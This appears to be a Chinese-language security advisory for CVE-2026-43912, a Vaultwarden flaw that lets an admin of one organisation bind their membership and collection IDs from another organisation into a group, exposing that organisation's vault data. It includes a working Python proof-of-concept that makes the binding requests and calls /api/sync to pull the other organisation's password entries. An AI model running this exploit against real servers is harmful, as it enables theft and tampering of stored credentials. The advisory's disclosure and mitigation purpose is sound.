IPBUF安全漏洞报告
English
CVE-2026-43912 CVSS 8.7 高危

CVE-2026-43912: Vaultwarden 访问控制缺陷导致跨组织数据泄露与权限提升

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-43912
漏洞类型
访问控制缺陷
CVSS评分
8.7 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Vaultwarden

相关标签

VaultwardenAccess ControlPrivilege EscalationIDOR数据泄露

漏洞概述

Vaultwarden 是一个用 Rust 编写的 Bitwarden 兼容服务器。在 1.35.5 版本之前,该软件存在严重的访问控制漏洞。系统未能强制执行 `groups_users` 和 `collections_groups` 表中条目的组织归属一致性检查。具体而言,多个群组管理端点接受任意的成员 ID 和集合 ID,并在未验证组织一致性的情况下直接持久化存储。这允许攻击者利用其在组织 A 的管理员权限,将自己在组织 B 中的成员身份 UUID 绑定到组织 A 的群组中。通过这种跨组织的群组关联,攻击者可以绕过权限验证,未经授权地访问组织 B 的保管库数据,甚至获取对组织 B 项目的写入权限。

技术细节

该漏洞的核心原理在于 Vaultwarden 后端在处理群组与用户、群组与集合的关联请求时,缺乏对组织上下文的严格校验。正常情况下,`groups_users` 表中的记录应确保用户所属的组织与群组所属的组织一致,但在受影响版本中,服务器仅验证了攻击者是否对目标群组(在组织 A 中)拥有管理权限,而未验证被添加的用户 ID 是否属于同一组织。

利用链如下:
1. **跨组织绑定**:攻击者在组织 A 中拥有管理员角色,同时在组织 B 中拥有普通成员角色。攻击者通过 API 调用(如群组用户管理接口),将自己在组织 B 中的 `Membership UUID` 添加到组织 A 的某个群组中。由于未校验 `users_organizations_uuid` 与 `groups_uuid` 的归属关系,该非法绑定被成功写入数据库。

2. **权限继承与数据泄露**:如果组织 A 中的该群组被配置了 `accessAll=true`(拥有全部访问权限),则该群组内的所有成员(包括被非法绑定的外部成员)都将继承这一高权限。当攻击者调用 `/api/sync` 或 `/api/ciphers` 接口时,系统根据群组权限误认为攻击者有权访问组织 B 的数据,从而返回组织 B 的所有密码条目和元数据。

3. **写入权限获取**:攻击者分析泄露的数据,提取出组织 B 的 `Collection UUID`。随后,利用同样的漏洞(`collections_groups` 表缺乏校验),将这些集合 ID 绑定到组织 A 的群组中。这使得攻击者能够对组织 B 的密码库项目执行修改、删除等写入操作,彻底攻破目标组织的数据安全。

攻击链分析

STEP 1
身份定位与准备
攻击者确认自己在组织 A 中拥有管理员权限,同时在组织 B 中拥有普通成员权限。获取自己在组织 B 中的 Membership UUID 和组织 A 中的目标 Group UUID(最好是 accessAll=true 的群组)。
STEP 2
利用权限提升
攻击者发送 API 请求,利用漏洞将组织 B 的 Membership UUID 添加到组织 A 的群组成员列表中。系统未校验组织归属,导致非法绑定成功。
STEP 3
数据窃取
由于组织 A 的群组拥有高权限,攻击者调用 /api/sync 接口,服务器返回攻击者在组织 B 中本无权查看的所有密码条目和敏感数据。
STEP 4
获取写入权限
攻击者从同步数据中提取组织 B 的 Collection UUID,再次利用漏洞将其绑定到组织 A 的群组,从而获得对组织 B 数据的修改和删除能力。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Configuration TARGET_URL = "https://target-vaultwarden-instance.com" ADMIN_TOKEN_ORG_A = "eyJhbGciOiJIUz..." # Admin token for Org A USER_MEMBERSHIP_UUID_ORG_B = "uuid-of-attacker-membership-in-org-b" GROUP_UUID_ORG_A = "uuid-group-org-a-with-accessall-true" COLLECTION_UUID_ORG_B = "uuid-collection-org-b" headers = { "Authorization": f"Bearer {ADMIN_TOKEN_ORG_A}", "Content-Type": "application/json" } # Step 1: Bind Org B Membership to Org A Group (Privilege Escalation) # Endpoint: PUT /api/groups/{group_id}/users/{user_id} # Note: In vulnerable versions, the API does not check if user_id belongs to the same org as the group. bind_user_url = f"{TARGET_URL}/api/groups/{GROUP_UUID_ORG_A}/users/{USER_MEMBERSHIP_UUID_ORG_B}" response = requests.put(bind_user_url, headers=headers) if response.status_code == 200 or response.status_code == 204: print("[+] Successfully bound Org B user to Org A group.") else: print(f"[-] Failed to bind user. Status: {response.status_code}") print(response.text) # Step 2: Sync data to enumerate Org B ciphers sync_url = f"{TARGET_URL}/api/sync" sync_response = requests.get(sync_url, headers=headers) if sync_response.status_code == 200: data = sync_response.json() print("[+] Sync successful. Check 'Ciphers' and 'Collections' for Org B data.") # Logic to parse and find Org B specific Collection IDs would go here # For demonstration, assuming we found the collection UUID else: print("[-] Sync failed.") # Step 3: Bind Org B Collection to Org A Group (Write Access) # Endpoint: PUT /api/groups/{group_id}/collections/{collection_id} bind_collection_url = f"{TARGET_URL}/api/groups/{GROUP_UUID_ORG_A}/collections/{COLLECTION_UUID_ORG_B}" coll_response = requests.put(bind_collection_url, headers=headers) if coll_response.status_code == 200 or coll_response.status_code == 204: print("[+] Successfully bound Org B collection to Org A group. Write access gained.") else: print(f"[-] Failed to bind collection. Status: {coll_response.status_code}")

影响范围

Vaultwarden < 1.35.5

防御指南

临时缓解措施
如果无法立即升级,建议严格审查管理员账号权限,避免同一账号在不同组织中兼任管理员和普通成员。同时,应监控服务器日志,重点关注是否存在将外部组织用户 ID 或集合 ID 添加到群组的异常 API 调用。

参考链接